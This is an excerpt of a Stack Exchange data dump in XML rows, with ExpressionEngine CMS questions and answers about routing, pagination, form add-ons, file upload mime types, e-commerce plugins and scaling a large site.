  <row Id="35396" PostTypeId="2" ParentId="35394" CreationDate="2016-01-27T11:57:49.380" Score="1" Body="&lt;p&gt;I would suggest that you stop trying to handle the routing logic in the template. It makes the templates more complicated than they need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend &lt;a href=&quot;https://github.com/rsanchez/resource_router&quot; rel=&quot;nofollow&quot;&gt;Resource Router&lt;/a&gt; for routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One nice approach for 404s is to define rules in Resource Router for all possible routes, and add this rule to the end to capture anything that does not match them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;.*&quot; =&amp;gt; function($router) {&#xA;   $router-&amp;gt;set404();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2016-01-27T11:57:49.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35397" PostTypeId="2" ParentId="35369" CreationDate="2016-01-27T12:32:04.877" Score="0" Body="&lt;p&gt;This issue with Exp:resso Store v1.6.5 was unresolved, but a paid &lt;strong&gt;upgrade to Store v2.5.1&lt;/strong&gt; solved the problem - no more callback failures on the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional configuration is required on upgrading from Store v1 to v2, however the upgrade was pretty smooth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/installation.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/installation.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/store_20_upgrade_notes.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/store_20_upgrade_notes.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;United Kingdom doesn't seem to be included in the default delivery countries for some reason.  WorldPay settings need checked and re-entered where necessary.&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2016-01-27T12:32:04.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35400" PostTypeId="2" ParentId="35348" CreationDate="2016-01-27T15:08:21.240" Score="2" Body="&lt;p&gt;&lt;code&gt;:url_title&lt;/code&gt; will match any string that &lt;em&gt;could&lt;/em&gt; be a url title as it is converted to &lt;code&gt;([^/]+)&lt;/code&gt; [1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To stop this rule matching template groups, you can check that the match is for a real entry in the expected channel like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;':url_title' =&amp;gt; function($router, $wildcard) {&#xA;    // valid entry in the 'home' channel (id=3)?&#xA;    if ($wildcard-&amp;gt;isValidUrlTitle(array('channel_id' =&amp;gt; 3))) {&#xA;        $router-&amp;gt;setTemplate('addon');&#xA;        $router-&amp;gt;setGlobal('template', 'addon');&#xA;    }&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[1] Note: &lt;code&gt;^&lt;/code&gt; is added to the start and &lt;code&gt;$&lt;/code&gt; to the end of the rule automatically by Resource Router, so the actual url pattern matched is &lt;code&gt;^([^/]+)$&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2016-01-27T15:08:21.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35401" PostTypeId="1" AcceptedAnswerId="35405" CreationDate="2016-01-27T20:31:07.127" Score="1" ViewCount="440" Body="&lt;p&gt;Possible to pull random 10 entries (without duplicating entries) with ajax everytime when scroll to the bottom, right now it loads random 10 entires but it duplicates and some entries never shows up. Any ideas? thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_A|channel_B|channel_C&quot; orderby=&quot;random&quot; limit=&quot;10&quot;}&#xA;  {content}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ajax/index.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_A|channel_B|channel_C&quot; orderby=&quot;random&quot; limit=&quot;10&quot;}&#xA;  {content}&#xA;&#xA;  {paginate}&#xA;    {pagination_links}&#xA;      &amp;lt;ul class=&quot;lepaginate&quot;&amp;gt;&#xA;        {page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/pagination_links}&#xA;  {/paginate}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  var counter = 10;&#xA;&#xA;  $(window).scroll(function() {&#xA;    if($(window).scrollTop() + $(window).height() == $(document).height()) {&#xA;&#xA;&#xA;        var response;&#xA;        $.ajax({ type: &quot;GET&quot;,   &#xA;          url: &quot;&quot;+document.location.origin+&quot;/ajax/P&quot;+counter+&quot;&quot;,&#xA;          async: false,&#xA;          success : function(text) {&#xA;            response = text;&#xA;          }&#xA;        });&#xA;&#xA;        counter += 10 ;&#xA;        newItems = $(response).appendTo('.grid');&#xA;        $grid.isotope('appended', newItems );&#xA;&#xA;&#xA;          var $grid = $('.grid').isotope({&#xA;            masonry: {&#xA;              columnWidth: 360,&#xA;              gutter: 30&#xA;            }&#xA;          });&#xA;&#xA;    }&#xA;&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is using pagination, so it loads like '/ajax/P10' '/ajax/P20' ..., etc&lt;/p&gt;&#xA;" OwnerUserId="6805" LastActivityDate="2018-10-31T01:22:36.127" Title="Pull random 10 entries without duplicating every time when ajax calls" Tags="|channel-entries|pagination|ajax|random|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35402" PostTypeId="1" CreationDate="2016-01-27T21:25:04.153" Score="0" ViewCount="18" Body="&lt;p&gt;I'm using ProForm and just upgraded from 1.64 to 1.73. (Running EE 2.10.1.) Since the ProForm upgrade, none of my (visible) form fields show up. The labels for them appear, but absolutely no HTML for the fields themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hidden fields (including some custom ones) show up fine in the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using the simple form tag, so it shouldn't be a template issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what's going on?&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2016-03-31T14:47:32.107" Title="ProForm not showing any fields" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35404" PostTypeId="2" ParentId="35401" CreationDate="2016-01-28T12:44:32.947" Score="0" Body="&lt;p&gt;You can't meaningfully combine &lt;code&gt;orderby=random&lt;/code&gt; and pagination. Basically what you're doing is this each time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Give me 10 random entries&lt;/li&gt;&#xA;&lt;li&gt;Give me 20 random entries and ignore the first 10&lt;/li&gt;&#xA;&lt;li&gt;Give me 30 random entries and ignore the first 20&lt;/li&gt;&#xA;&lt;li&gt;Etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hence the duplication - there's no consistency between queries due to the random ordering.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2016-01-28T12:44:32.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35405" PostTypeId="2" ParentId="35401" CreationDate="2016-01-28T14:19:13.863" Score="2" Body="&lt;p&gt;Two approaches come to mind, the first is to load everything (all results) and only show X at a time (JavaScript) based on your own custom pagination or lazy loading effect. But that means you'd still be sending to the browser all the raw html initially, so might have performance issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How &lt;code&gt;channel:entries&lt;/code&gt; works with the &lt;code&gt;limit&lt;/code&gt; parameter in ExpressionEngine is by running a full search and getting all results back as a delimited list of entry id's based on all your search/filtering options. It then runs a second query to extract all the information it needs on the limited subset of entries to then be able to parse and present the data in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the second approach could actually be done a few ways depending on your skill level, but the principle is that you do a minimal query returning the entry IDs for all results (pipe delimited), then retain that as a JavaScript variable feeding the parts of the total results to match the (paginated) page results you require - feed that to your ajax call which in turn populates the entries to be shown in your final channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although initially you could use a channel:entries tag to get the full list, it should be better performance to use the &lt;a href=&quot;https://docs.expressionengine.com/latest/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;exp:query&lt;/code&gt; tag&lt;/a&gt; - depending on the complexity of your filtering/search parameters. You could then post the required entries (for next page) to the ajax URL, and on the resulting page/template use the &lt;code&gt;channel:entries&lt;/code&gt; parameter &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_entries.html#dynamic-parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic_parameters&lt;/code&gt;&lt;/a&gt; to use the POST data to automatically populate the &lt;code&gt;entry_id&lt;/code&gt; parameter on the &lt;code&gt;channel:entries&lt;/code&gt; tag, therefore only showing the limited entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that by default &lt;code&gt;channel:entries&lt;/code&gt; only pulls back 100 results, if you want to pull more, you have to specify the &lt;code&gt;limit&lt;/code&gt; parameter. From memory, going over 1000 starts to cause massive performance issues.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2016-01-28T14:30:48.097" LastActivityDate="2016-01-28T14:30:48.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35406" PostTypeId="2" ParentId="35382" CreationDate="2016-01-28T14:48:03.013" Score="0" Body="&lt;p&gt;You could use an add-on (possibly custom) or a relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a channel for countries, and each entry just had the title of the country, then use a &lt;a href=&quot;https://docs.expressionengine.com/latest/fieldtypes/relationships.html&quot; rel=&quot;nofollow&quot;&gt;relationship field&lt;/a&gt; specific to that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise existing add-on's you could use include &lt;a href=&quot;https://devot-ee.com/add-ons/category-select1&quot; rel=&quot;nofollow&quot;&gt;Category Select&lt;/a&gt; (EE2) which converts the native category selection field to a dropdown and you could customise the field layout to include on the first publish tab instead of an additional tab. Or a custom category fieldtype &lt;a href=&quot;https://devot-ee.com/add-ons/wb-category-select&quot; rel=&quot;nofollow&quot;&gt;WB Category Select&lt;/a&gt;, where you have a specific category group for countries and each category being a specific country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or similar to relationship field, using a channel for countries and each entry a country you could use &lt;a href=&quot;https://devot-ee.com/add-ons/z-select-field-type&quot; rel=&quot;nofollow&quot;&gt;Z Select&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2016-01-28T15:08:54.137" LastActivityDate="2016-01-28T15:08:54.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35407" PostTypeId="1" AcceptedAnswerId="35409" CreationDate="2016-01-28T15:34:53.013" Score="0" ViewCount="87" Body="&lt;p&gt;I'm desperate. I've purchased Forms several times for different clients, and recently upgraded to a developer license since it provides such great functionality for us. I've come up against a problem and emailed their support twice about, with no answer (plus a third time about something unrelated, and no answer to that either....)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My newest client needs conditional logic on their form, and no matter what I try, I cannot get them to work. I am using the Forms fieldtype for a channel. The form shows up correctly, I can make edits to it as needed, I have {exp:forms:output_js} being called in successfully for other forms on the same site (with no conditionals).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.10.2, Forms version 3.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a checkbox question of: &quot;What times are you available to volunteer?&quot; with the checkboxes / values of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All day / all-day&lt;/li&gt;&#xA;&lt;li&gt;Morning shift / morning-shift&lt;/li&gt;&#xA;&lt;li&gt;Afternoon shift / afternoon-shift&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If, and only if, &quot;All Day&quot; is selected, I have a follow up checkbox question (&quot;If you are available all day, which authors would you be interested in assisting?&quot;) that I would like to show up. I've turned conditionals &quot;on&quot; for this question, and selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Show&lt;/strong&gt; this field if &lt;strong&gt;any&lt;/strong&gt; of the following match:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field: &lt;strong&gt;What times are you available to volunteer?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conditional: &lt;strong&gt;is&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value: &lt;strong&gt;all-day&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't work. I've tried all sorts of changes: switching from &quot;show&quot; logic to &quot;hide&quot; logic, using numerical values instead of alpha, with spaces, without spaces, with dashes, without dashes, radio buttons instead of checkboxes, etc. I've deleted the form, recreated the form, cleared cache, tried on other forms, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a complete loss - if I can't get conditionals working, I'm going to have to request a refund and find another solution (which I want to avoid, I love everything else about this plugin!)&lt;/p&gt;&#xA;" OwnerUserId="7038" LastActivityDate="2016-01-28T17:35:18.180" Title="DevDemon Forms can't get any conditionals to work" Tags="|conditionals|forms|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35408" PostTypeId="2" ParentId="35362" CreationDate="2016-01-28T16:21:35.907" Score="0" Body="&lt;p&gt;(I'm with Vector; we make CartThrob)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One question I have about this is how you're handling this on the payment gateway side. To collect the card information but not charge it right away, you'll need to use your payment gateway's vault function. That's doable but isn't how CartThrob single-purchases work out of the box; it just charges the card immediately at checkout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting thing is that CartThrob Subscriptions does use the gateway vault and allows making arbitrary single charges. You might be able to use CT subscriptions for this and make a fake $0-plan to just get the card number in the vault and then charge them later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, the cleaner solution would be a custom payment gateway for CT. That would be pretty straightforward to make and would store the cards in the payment vault. You could combine that with a module or some other backend UI to mass-charge a whole bunch of people at shipping, or one at a time if they don't all go out together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to &lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;submit a support request&lt;/a&gt; if you'd like us to help with that! &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2016-01-28T16:21:35.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35409" PostTypeId="2" ParentId="35407" CreationDate="2016-01-28T17:35:18.180" Score="0" Body="&lt;p&gt;Have you got queue javascript in the form tag &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:forms:form form_name=&quot;your_form&quot; queue_js=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My conditionals never work without that in there.&#xA;If you do have it in there its probably a javascript conflict &lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-01-28T17:35:18.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35410" PostTypeId="1" CreationDate="2016-01-28T19:23:27.950" Score="0" ViewCount="28" Body="&lt;p&gt;We're using Editor 3.2.3 on an EE2 site to nicely format category descriptions. When we try to edit the category description from an edit entry page, however, it can't be edited. &lt;a href=&quot;http://d.pr/i/clnl&quot; rel=&quot;nofollow&quot;&gt;Here's a gif to demonstrate.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal/expected behavior?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2016-01-28T19:23:27.950" Title="Can't edit category description with DevDemon Editor 3.2.3" Tags="|devdemon|editor|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35412" PostTypeId="1" CreationDate="2016-01-29T05:32:01.980" Score="1" ViewCount="235" Body="&lt;p&gt;I am able to upload PDF, TXT, SQL, AI, XLSX, JPG, PNG files using the File Manager as a Super Admin. However, when I try to upload an EPS file, I get a &quot;File not Allowed&quot; error. Mime file has 'application/postscript', // .ai, .eps, .ps in the white list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Does anyone else have any ideas? I have now tried installations of EE versions 1.6.8, 2.1.0, 2.7.0 and they load EPS files with no problems. There seems to be a problem uploading EPS files when I try EE 2.10.2, 3.0.6, 3.1.2. I wonder if it has something to do with the new Mime Types file from 2.10 onward? --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7041" LastEditorUserId="7041" LastEditDate="2016-01-31T22:41:50.163" LastActivityDate="2018-04-21T00:46:31.027" Title="Can't upload EPS files in File Manager in ExpressionEngine 2.10.2" Tags="|file-uploads|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35414" PostTypeId="2" ParentId="35024" CreationDate="2016-01-29T13:27:51.083" Score="0" Body="&lt;p&gt;You can change the localization preferences for all members by setting the following config variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_member_localization'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE will then use the fallback include_seconds config variable. I had a similar issue and added the following code to my config.php to solve it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['include_seconds'] = 'y';&#xA;$config['allow_member_localization'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2016-01-29T13:27:51.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35415" PostTypeId="2" ParentId="35412" CreationDate="2016-01-29T14:13:48.977" Score="0" Body="&lt;p&gt;Depending on version, creation software used, possibly OS, and a whole host of other variables, the actual mime-type of a file can vary. Some quick research show me that an EPS file may represent as these mime types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;application/postscript&#xA;application/eps &#xA;application/x-eps&#xA;image/eps&#xA;image/x-eps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would try adding these mime types one-by-one to your white-list array and hopefully one will cover it. Make sure to remove the ones that didn't work after.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-29T14:13:48.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35420" PostTypeId="2" ParentId="35402" CreationDate="2016-01-30T19:08:43.917" Score="0" Body="&lt;p&gt;After testing some new fields (which worked) and comparing their MySQL data with that of the problem fields, I found that setting the MySQL field to 'NULL' in the proform_form_fields table made the fields work again. This unfortunately only worked for text fields - list fields (such as dropdowns) still did not work, but I was able to fix them by changing the &quot;Style&quot; properties to another type, saving the field, then changing the Style back to the desired format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears upgrading from ProForm 1.63 didn't update the database the way it should have (might be my fault). However, all is working now. Hopefully this will help someone else if the same issue crops up for them! :)&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2016-01-30T19:08:43.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35421" PostTypeId="2" ParentId="28343" CreationDate="2016-01-31T22:49:25.490" Score="0" Body="&lt;p&gt;The UPS gateway is indeed for the US. You should be able to copy the plugin files and then update the service codes along with the API end points to match UPS Canada. If you need to have both the UPS US and Canada version live you would also need to change the namespacing accordingly &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-01-31T22:49:25.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35423" PostTypeId="2" ParentId="35392" CreationDate="2016-02-01T04:08:15.320" Score="0" Body="&lt;p&gt;Based on Expresso's &lt;a href=&quot;https://www.exp-resso.com/docs/payment_gateways.html&quot; rel=&quot;nofollow&quot;&gt;payment gateway docs&lt;/a&gt; (As of Feb. 1), you won't see any Pay Trace payment gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, Expresso payment processing is based on Omnipay. And if you try to visit their &lt;a href=&quot;https://github.com/thephpleague/omnipay&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;, you'll see that they now support Pay Trace gateway maintained by Oleg Ilyushyn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe Expresso's docs aren't updated? Or maybe Expresso's Omnipay build is not the latest version? I'm not really sure. But If Expresso's Omnipay doesn't support Pay Trace, you might want to use the latest Omnipay separately from Expresso.&lt;/p&gt;&#xA;" OwnerUserId="7006" LastActivityDate="2016-02-01T04:08:15.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35424" PostTypeId="1" AcceptedAnswerId="35445" CreationDate="2016-02-01T09:15:42.267" Score="2" ViewCount="120" Body="&lt;p&gt;I have a EE site that has 62k entries. It's a directory site using open data sets. We are expanding to more countries and we expect at least 500k entries to be added in the next year and 400k plus on 2017. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've being working with EE for years now. I read already &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24228/is-there-a-limit-to-the-number-of-channel-entries-that-expressionengine-can-hand&quot;&gt;this&lt;/a&gt;, and &lt;a href=&quot;http://www.hopstudios.com/blog/the_largest_expressionengine_sites#.Vq8dVPnhD2Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; (Looks like zocalo newspaper has 1M entries or so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your opinion; What's the best approch for that # of entries, categories and channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setup 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One EE install. We have 10 countries. Each country has between 20-50 channels. Each channel has 30-600 categories. Each country shares a unique custom field group between all channels with about 60 custom fields. Potential entries: 1M.&#xA;What about using a SQL Cloud service like google or rackspace? that will help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setup 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have 10 different EE installs in different directories in same domain (domain.com/es, domain.com/de, etc). Problems: not sharing templates, not sharing user credentials, etc. Potential entries: 100k per EE install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setup 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will MSM help? Why? As far as i know; all the information will be at the same db as in setup 1, am I wrong? Is it possible to define each msm license to a directory, or only to a different domain or subdomain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my english; it's not my primary language.&lt;/p&gt;&#xA;" OwnerUserId="3374" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2016-02-03T09:10:57.977" Title="best setup for a 1M entries EE site?" Tags="|channel-entries|multi-site-manager|database|loading-time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35425" PostTypeId="2" ParentId="35424" CreationDate="2016-02-01T11:25:20.690" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What about using an SQL Cloud service like google or rackspace? Will that help?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not so much the size of the db, I think, as the expected traffic. You will certainly have to consider you hosting options carefully. Not all hosts are created equal ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I certainly wouldn't want to install EE 10 times. Licensing costs apart, it'd be a monstrous task to maintain, no (simple) asset sharing between sites, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will MSM help? I think it might be an option worth considering. Yes, everything would be in the same database, but you could still have &quot;separate&quot; sites, if you will: separate URLs, separate editorial staff, etc. It would probably make things easier down the road. Each MSM site gives you a new site, and it's up to you how to access it: this could be a different (sub)domain or a separate part (like a subdirectory) of an existing site. In either case it would be trivial to map, say, example.com/de to de.example.com.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="6825" LastEditDate="2016-02-02T05:12:14.807" LastActivityDate="2016-02-02T05:12:14.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35426" PostTypeId="1" AcceptedAnswerId="35432" CreationDate="2016-02-01T11:44:53.917" Score="0" ViewCount="29" Body="&lt;p&gt;We are using channel-images for all our websites, but facing one big questions which always comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gallery is always created per entry, also folder of the gallery is named by the ID of the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our wish would be to create independent galleries, folder not named by id, but rather by the name of the gallery. afterwards, galleries are linked like relationships to entries. so one gallery can be linked to multiple entries, instead of creating the gallery again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anybody in here stubmbled over that usecase we would like to have? if yes, how did you solved it or did we overlook some feature in channel images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best, Thomas&lt;/p&gt;&#xA;" OwnerUserId="7044" LastActivityDate="2016-06-11T01:04:37.530" Title="independent gallery not related to an entry" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35428" PostTypeId="1" CreationDate="2016-02-01T12:48:50.087" Score="0" ViewCount="63" Body="&lt;p&gt;I want to update the status of an order to &lt;strong&gt;processing&lt;/strong&gt; once the checkout form has been submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through the dev docs: &lt;a href=&quot;https://www.expresso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;https://www.expresso.com/docs/extension_hooks.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these two hooks fit the bill:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;store_payment_request_start&lt;/li&gt;&#xA;&lt;li&gt;store_payment_request_end&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are called when the order is processed by a payment provider - however, if I use a discount code for 100% off (ie, a free order) then these hooks aren't called (which does makes sense to me - I'm assuming the order isn't pinged to the payment provider as there is no payment to make). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I can't see any further hooks that I can use to accomplish this status change, is anyone aware of way I can change the order status on a checkout submission?&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2016-06-05T06:48:37.347" Title="Store : Update order status on checkout submit" Tags="|expresso-store|status|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35429" PostTypeId="2" ParentId="35377" CreationDate="2016-02-01T13:07:52.740" Score="0" Body="&lt;p&gt;It turns out that trying to use radio buttons to choose a payment method was the cause of the issue here, which I'm still not 100% sure why. I was allowing a choice bewteen 'Manual' for invoice based payment and 'WorldPay' for online payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So changing over to the default method of using the select box field, as below, seemed to make the difference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    &#xA;    {payment_method_options}&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkout process now works fine, phew!&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2016-02-01T13:07:52.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35432" PostTypeId="2" ParentId="35426" CreationDate="2016-02-01T16:04:41.410" Score="0" Body="&lt;p&gt;It's been a long time since I used Channel Images, but from your description it sounds like your scenario and issue is that each gallery is assigned to a content page entry...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not have a &quot;galleries&quot; channel, then each entry is named as you would want the gallery. You then have all the images associated with that gallery entry. Within the content entries, you have a relationship field linked to the galleries channel - which obviously lists the nice name of each gallery. Then you can select multiple content entries with the same gallery without duplication. Your template tags access the channel images via the relationship field tag instead of directly.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-01T16:04:41.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
